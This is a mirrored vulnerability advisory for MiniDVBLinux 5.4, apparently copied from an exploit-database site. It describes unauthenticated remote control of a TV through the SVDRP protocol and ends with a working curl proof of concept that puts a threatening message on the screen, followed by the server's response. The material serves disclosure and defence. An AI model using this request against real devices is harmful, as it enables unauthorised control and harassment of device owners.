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MiniDVBLinux 5.4 SVDRP Control

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022100039

Below is a copy:

MiniDVBLinux 5.4 SVDRP Control
MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit


Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: <=5.4

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application allows the usage of the SVDRP protocol/commands
to be sent by a remote attacker to manipulate and/or control remotely
the TV.

Tested on: MiniDVBLinux 5.4
           BusyBox v1.25.1
           Architecture: armhf, armhf-rpi2
           GNU/Linux 4.19.127.203 (armv7l)
           VideoDiskRecorder 2.4.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5714
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php


24.09.2022

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Send a message to the TV screen:

curl http://ip:8008/?site=commands&section=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!

220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
250 Message queued
221 mld closing connection

For more commands:
 - https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands

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